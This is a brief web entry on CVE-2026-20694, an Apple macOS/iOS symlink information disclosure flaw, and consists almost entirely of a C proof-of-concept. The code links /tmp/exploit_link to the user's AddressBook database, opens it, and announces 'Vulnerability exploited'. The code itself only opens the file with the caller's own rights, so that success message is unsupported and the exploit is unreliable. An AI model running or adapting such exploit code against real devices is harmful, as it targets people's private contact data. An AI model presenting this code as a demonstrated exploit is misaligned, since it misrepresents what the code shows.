CVE-2026-20694 Apple macOS/iOS符号链接信息泄露漏洞

#include <unistd.h> #include <stdio.h> /* * PoC for CVE-2026-20694 (Symbolic Link Handling Issue) * This is a conceptual demonstration of how a symlink might be used * to access sensitive data on a vulnerable system. */ int main(int argc, char *argv[]) { // Path to sensitive user data (example) const char *sensitive_file = "/private/var/mobile/Library/AddressBook/AddressBook.sqlitedb"; // Location where the app can create a file const char *symlink_path = "/tmp/exploit_link"; printf("[+] Attempting to create symlink...\n"); // Create a symbolic link pointing to the sensitive file if (symlink(sensitive_file, symlink_path) == 0) { printf("[+] Symlink created successfully at %s\n", symlink_path); // Try to open the file through the symlink FILE *fp = fopen(symlink_path, "r"); if (fp) { printf("[+] Successfully opened sensitive file through symlink!\n"); printf("[+] Data access confirmed. Vulnerability exploited.\n"); fclose(fp); } else { printf("[-] Failed to open file.\n"); } // Clean up unlink(symlink_path); } else { printf("[-] Failed to create symlink.\n"); } return 0; }